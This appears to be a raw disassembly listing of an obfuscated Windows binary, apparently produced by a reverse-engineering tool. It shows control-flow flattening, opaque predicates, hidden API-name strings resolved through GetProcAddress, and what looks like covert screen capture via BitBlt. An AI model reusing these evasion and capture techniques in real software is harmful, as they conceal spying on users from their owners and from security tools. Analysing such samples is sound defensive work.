add rsp, 0x20
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x20]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x20]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x20]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x20]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 6], 0x44
mov rax, qword [rbp + 0x20]
mov byte [rax + 7], 0x43
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x52
mov rax, qword [rbp + 0x28]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x28]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 4], 0x61
mov rax, qword [rbp + 0x28]
mov byte [rax + 5], 0x73
mov rax, qword [rbp + 0x28]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 7], 0x44
mov rax, qword [rbp + 0x28]
mov byte [rax + 8], 0x43
mov rcx, qword [0x140081b20]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x68]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x30]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x43
mov rax, qword [rbp + 0x30]
mov byte [rax + 1], 0x6f
mov rax, qword [rbp + 0x30]
mov byte [rax + 2], 0x55
mov rax, qword [rbp + 0x30]
mov byte [rax + 3], 0x6e
mov rax, qword [rbp + 0x30]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 5], 0x6e
mov rax, qword [rbp + 0x30]
mov byte [rax + 6], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 7], 0x74
mov rax, qword [rbp + 0x30]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 9], 0x61
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xa], 0x6c
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xb], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xc], 0x7a
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xd], 0x65
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
call rax
add rsp, 0x20
mov eax, dword [rbp + 0x1a0]
mov eax, 0xa41ae7de
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xe851126
je 0x14001e35b
cmp eax, 0xe87b6fc
jne 0x140017570
mov eax, 0xd0f8a17c
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x6b852cad
je 0x14001e370
cmp eax, 0x6b96c26c
jne 0x140017570
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x501c0ee6
mov eax, edx
and eax, 0xafe3f119
or eax, ebx
xor eax, 0xafe3f118
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
setne dl
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0x8b1d933b
mov ebx, 0xa01e3262
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0x8b1d933b
jmp 0x14001f199
cmp eax, 0xababdc6f
je 0x14001e42e
cmp eax, 0xac26bdcf
jne 0x140017570
mov eax, 0x2c20e400
mov ecx, dword [rbp + 0x18c]
jmp 0x14001e017
cmp eax, 0xf88dc79f
je 0x14001e443
cmp eax, 0xf9cd3bf3
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xf99031ab
mov eax, edx
and eax, 0x66fce54
or eax, ebx
xor eax, 0x66fce55
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x298d31a2
mov edx, 0xe29e232a
cmovne ecx, edx
test bl, bl
mov edx, 0x298d31a2
jmp 0x14001da87
cmp eax, 0x31340b9b
je 0x14001e4c1
cmp eax, 0x31df4b0a
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xe2f21b8a
and edx, 0x1d0de475
or edx, ebx
xor edx, 0xe2f21b8b
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0x1aa7b900
mov edi, 0xc0f272e0
jmp 0x14001bea0
cmp eax, 0x9d1814a3
je 0x14001e4d6
cmp eax, 0x9d8b3062
jne 0x140017570
mov eax, 0xe5e94d26
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xe5e94d26
je 0x14001e53b
cmp eax, 0xe5fa012a
jne 0x140017570
cmp byte [rbp + 0x137], 0
mov eax, 0x32f6771
mov ecx, 0x59ab8f20
cmovne eax, ecx
jmp 0x14001ce84
cmp eax, 0x6238ec78
je 0x14001e5b2
cmp eax, 0x62402165
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x50b865d1
and ecx, 0xaf479a2e
or ecx, eax
mov eax, ecx
xor eax, 0xaf479a2e
and eax, 0xfffffffe
xor ecx, 0x50b865d0
or ecx, eax
mov eax, ecx
not eax
and eax, 0xf8125e50
and ecx, 0x7eda1af
or ecx, eax
xor ecx, 0x7eda1af
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x2aac1fdc
mov ebx, 0xd60398c
jmp 0x14001f18d
cmp eax, 0x1f9c1f6f
je 0x14001e5c7
cmp eax, 0x1fdc3505
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x856cc731
and ecx, 0x7a9338ce
or ecx, edx
xor ecx, 0x7a9338cf
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp dword [0x14008201c], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0xfabe21ee
mov edx, 0xb8631534
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0xfabe21ee
jmp 0x140017565
cmp eax, 0xbf0a317e
je 0x14001e5dc
cmp eax, 0xbf5c645c
jne 0x140017570
mov rax, qword [rbp - 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0xe8]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xa1d20b39
and ecx, 0x5e2df4c6
or ecx, eax
mov eax, ecx
xor eax, 0x5e2df4c6
and eax, 0xfffffffe
xor ecx, 0xa1d20b38
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x6d955a3
mov ebx, 0x3f8e9c3e
cmovne eax, ebx
test dl, dl
mov edx, 0x6d955a3
jmp 0x14001edab
cmp eax, 0x42ef2a7
je 0x14001e647
cmp eax, 0x6d955a3
jne 0x140017570
mov rax, qword [rbp - 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0xe8]
mov eax, 0xbf5c645c
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x7773f0ad
je 0x14001e71e
cmp eax, 0x7966c01e
jne 0x140017570
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rdx, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r15, rsp
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rsi, r13
mov r13, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r14, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rbx, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rdi, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x38], rsp
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm8
mov rcx, qword [0x140081b20]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
add rsp, 0x20
mov r12, rax
movaps xmmword [r15], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
mov dword [r15], 0x44746547
mov byte [r15 + 4], 0x43
mov rcx, qword [0x140081b20]
sub rsp, 0x20
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r12
call rax
add rsp, 0x20
mov qword [rbp - 0x60], rax
movaps xmmword [r13], xmm6
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
movabs rax, 0x6e65696c43746547
mov qword [r13], rax
mov dword [r13 + 8], 0x63655274
mov byte [r13 + 0xc], 0x74
mov rcx, qword [0x140081b20]
sub rsp, 0x20
mov rdx, r13
mov r13, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r12
mov rdx, qword [rbp - 0x68]
call rax
add rsp, 0x20
movaps xmmword [r14 + 0x10], xmm6
movaps xmmword [r14 + 0x20], xmm6
mov word [r14 + 0x30], 0
movaps xmmword [r14], xmm9
mov rcx, qword [0x140081b20]
sub rsp, 0x20
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0x4e
call rax
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
mov ecx, 0x4f
call rsi
add rsp, 0x20
mov r15, rax
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx + 0x20], xmm6
mov word [rbx + 0x30], 0
movaps xmmword [rbx], xmm7
mov word [rbx + 0x10], 0x4344
mov rcx, qword [0x140081b28]
sub rsp, 0x20
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, qword [rbp - 0x60]
mov rcx, rsi
call rax
add rsp, 0x20
mov rbx, rax
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi + 0x20], xmm6
mov word [rdi + 0x30], 0
movaps xmmword [rdi], xmm7
mov dword [rdi + 0x10], 0x6d746942
mov word [rdi + 0x14], 0x7061
mov rcx, qword [0x140081b28]
sub rsp, 0x20
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
mov rdi, rsi
mov edx, r14d
mov r8d, r15d
call rax
add rsp, 0x20
mov rsi, rax
mov rdx, qword [rbp - 0x70]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x624f7463656c6553
mov qword [rdx], rax
mov dword [rdx + 8], 0x7463656a
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov rdx, rsi
call rax
add rsp, 0x20
mov rdx, qword [rbp - 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov dword [rdx], 0x42746942
mov word [rdx + 4], 0x746c
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rsp, 0x30
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], r15d
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rcx, rbx
xor edx, edx
xor r8d, r8d
mov r9d, r14d
mov r14, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
add rsp, 0x50
mov rdx, qword [rbp - 0x30]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x616974696e496f43
mov qword [rdx], rax
mov dword [rdx + 8], 0x657a696c
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
xor ecx, ecx
call rax
add rsp, 0x20
mov rsi, qword [rbp - 0x40]
mov qword [rsi], 0
mov rdx, qword [rbp - 0x38]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
sub rsp, 0x10
mov qword [rsp + 0x20], rsi
lea rcx, [0x140074950]
xor edx, edx
mov r8d, 1
lea r9, [0x140074970]
call rax
add rsp, 0x30
mov eax, 0xdba9fe9a
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x42a67488
je 0x14001e7fb
cmp eax, 0x42cf90ec
jne 0x140017570
mov eax, 0x70755d79
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x80ce0783
je 0x14001e810
cmp eax, 0x83074138
jne 0x140017570
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x93302163
mov ebx, ecx
and ebx, 0x6ccfde9c
or ebx, edx
xor ebx, 0x6ccfde9d
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xf500c44d
and ecx, 0xaff3bb2
or ecx, edx
xor ecx, 0xaff3bb2
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
xor dl, cl
and al, cl
or al, dl
mov ecx, eax
xor cl, bl
mov ecx, 0xf9cd3bf3
mov edx, 0xe29e232a
cmovne ecx, edx
test al, al
mov eax, 0xf9cd3bf3
cmovne eax, ecx
test bl, bl
jmp 0x14001f199
cmp eax, 0xcae31e45
je 0x14001e885
cmp eax, 0xcddad4fa
jne 0x140017570
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe44229c3
and edx, 0x1bbdd63c
or edx, ecx
mov ecx, edx
xor ecx, 0x1bbdd63c
xor edx, 0xa0000842
and edx, 0xa9204e7a
mov ebx, ecx
and ebx, 0x56dfb185
or ebx, edx
xor ebx, 0x56dfb184
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x1a6c0147
and ecx, 0xe593feb8
or ecx, edx
xor ecx, 0xe593feb8
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
or al, dl
xor bl, cl
mov ecx, eax
xor cl, bl
mov ecx, 0x73345f6a
mov edx, 0xda540574
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0x73345f6a
jmp 0x14001c0a3
cmp eax, 0x4662ef8c
je 0x14001e8e1
cmp eax, 0x46e7b15b
jne 0x140017570
mov eax, 0xb01a74ca
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xa1d536f
je 0x14001e93e
cmp eax, 0xa4b2826
jne 0x140017570
mov eax, 0x6b852cad
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xa082e720
je 0x14001ec1a
cmp eax, 0xa0b1e30d
jne 0x140017570
mov eax, 0x9bc6676f
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xf337bab4
je 0x14001ec8f
cmp eax, 0xf383f294
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xb0e89410
and edx, 0x4f176bef
or edx, ebx
xor edx, 0x4f176bee
xor eax, edx
test eax, edx
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0x1d4b3018
mov edi, 0xb471d6cf
cmovne eax, edi
test dl, dl
mov ecx, 0x1d4b3018
jmp 0x14001f030
cmp eax, 0x28431fb5
je 0x14001ed20
cmp eax, 0x298d31a2
jne 0x140017570
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe0913c15
and edx, 0x1f6ec3ea
or edx, ecx
mov ecx, edx
xor ecx, 0x1f6ec3ea
xor edx, 0x10c01
and edx, 0x1e414e83
mov ebx, ecx
and ebx, 0xe1beb17c
or ebx, edx
xor ebx, 0xe1beb17d
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xd8045161
and ecx, 0x27fbae9e
or ecx, edx
xor ecx, 0x27fbae9e
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, eax
xor cl, bl
mov ecx, 0x87a0a9c8
mov edx, 0x27f5174e
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0x87a0a9c8
jmp 0x14001c0a3
cmp eax, 0x962cceb2
je 0x14001ed53
cmp eax, 0x97887130
jne 0x140017570
mov eax, 0xb3996662
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xd8c8e0e0
je 0x14001edc3
cmp eax, 0xda540574
jne 0x140017570
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov eax, 0xcddad4fa
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x58687a79
je 0x14001ee4e
cmp eax, 0x5884ea89
jne 0x140017570
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp - 8]
mov rdx, qword [rdx]
sub rsp, 0x20
xor r8d, r8d
call qword [rax + 0x58]
add rsp, 0x20
mov eax, 0xd75aca13
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x11510c29
je 0x14001ee63
cmp eax, 0x142dd634
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov edx, 0xbf0a317e
mov eax, 0x83ee6732
cmovne edx, eax
test cl, cl
mov eax, 0xbf0a317e
jmp 0x14001cf3a
cmp eax, 0xb471d6cf
je 0x14001ee81
cmp eax, 0xb5987a3a
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x16b42de0
mov edx, eax
and edx, 0xe94bd21f
or edx, ecx
xor edx, 0xe94bd21e
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x13f8e239
and eax, 0xec071dc6
or eax, ecx
xor eax, 0xec071dc6
sete al
cmp dword [0x14008201c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x38628af8
mov ecx, 0x279fb520
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov ecx, 0x38628af8
jmp 0x14001f199
cmp eax, 0xfc391997
je 0x14001ef4e
cmp eax, 0xfc6d2e9f
jne 0x140017570
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x60]
add rsp, 0x20
mov dword [rbp + 0x130], eax
cmp dword [rbp + 0x130], 0
setns byte [rbp + 0x137]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x46ff558d
mov ebx, 0x1d311282
jmp 0x14001f18d
cmp eax, 0x7100afd4
je 0x14001efc4
cmp eax, 0x71b2d4a7
jne 0x140017570
mov dword [rbp - 0x58], 0
jmp 0x14001d4b8
cmp eax, 0x3801fa8d
je 0x14001f048
cmp eax, 0x38628af8
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
mov ecx, 0x69761104
mov eax, 0x83ee6732
cmovne ecx, eax
test bl, bl
mov eax, 0x69761104
cmovne eax, ecx
jmp 0x14001f197
cmp eax, 0x87a0a9c8
je 0x140017518
cmp eax, 0x8b1d933b
jne 0x140017570
mov eax, 0xd29075f4
mov ecx, dword [rbp + 0x188]
jmp 0x14001ae84
cmp eax, 0xd353ac94
je 0x14001f129
cmp eax, 0xd4e57b84
jne 0x140017570
cmp byte [rbp + 0x127], 0
mov eax, 0xd29075f4
mov ecx, 0x55852a4d
cmovne eax, ecx
mov ecx, dword [rbp + 0x120]
mov dword [rbp - 0x44], ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x50d901c0
je 0x14001f1ac
cmp eax, 0x52758b91
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x30a00168
and edx, 0xcf5ffe97
or edx, ebx
xor edx, 0x30a00169
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov edx, 0x103d1af8
mov eax, 0xfe41ac2e
cmovne edx, eax
test cl, cl
mov eax, 0x103d1af8
cmovne eax, edx
mov ecx, dword [rbp - 0x48]
mov dword [rbp + 0x194], ecx
jmp 0x14001cf3d
cmp eax, 0xd454939
je 0x14001f1e9
cmp eax, 0xd60398c
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x35b4948a
mov ebx, 0xc28b849
jmp 0x14001f18d
cmp eax, 0x69834110
je 0x14001f1fe
cmp eax, 0x6b4ef0f2
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x7f00df2a
and ecx, 0x80ff20d5
or ecx, edx
xor ecx, 0x7f00df2b
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x8d59a8fe
mov ebx, 0xfb0ceb1f
cmovne eax, ebx
test dl, dl
mov edx, 0x8d59a8fe
jmp 0x14001edab
cmp eax, 0xa8115ba0
je 0x14001f262
cmp eax, 0xa8f911f3
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov ebx, edx
xor bl, cl
test dl, dl
mov eax, 0xfbec358
mov edx, 0x1f9c1f6f
cmovne eax, edx
test cl, cl
cmove eax, edx
test bl, bl
mov ecx, 0xfbec358
jmp 0x14001f199
cmp eax, 0xf6fcf6b3
je 0x14001f277
cmp eax, 0xf7564599
jne 0x140017570
mov eax, 0x6414828e
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x2eba2588
je 0x14001f28c
cmp eax, 0x309a04b4
jne 0x140017570
mov eax, 0x7773f0ad
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x9bb1b4e7
je 0x14001f318
cmp eax, 0x9bc6676f
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1d22a8da
mov edx, eax
and edx, 0xe2dd5725
or edx, ecx
xor edx, 0xe2dd5724
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xa0b1e30d
mov ebx, 0xabb0e47
cmovne eax, ebx
test dl, dl
mov edx, 0xa0b1e30d
jmp 0x14001edab
cmp eax, 0xe3889c9c
je 0x14001f383
cmp eax, 0xe4995d40
jne 0x140017570
mov eax, 0xfabe21ee
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x5f4dcf0b
je 0x14001f3e6
cmp eax, 0x60f80124
jne 0x140017570
mov eax, 0x88fd8f5
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x1d311282
je 0x14001f3fb
cmp eax, 0x1d4b3018
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x72731265
and edx, 0x8d8ced9a
or edx, eax
xor edx, 0x8d8ced9a
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov eax, 0x282bf453
mov edx, 0xc167d60c
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x282bf453
jmp 0x14001f4e3
cmp eax, 0xbd1bf823
je 0x14001f47a
cmp eax, 0xbde712aa
jne 0x140017570
cmp byte [rbp + 0xe7], 0
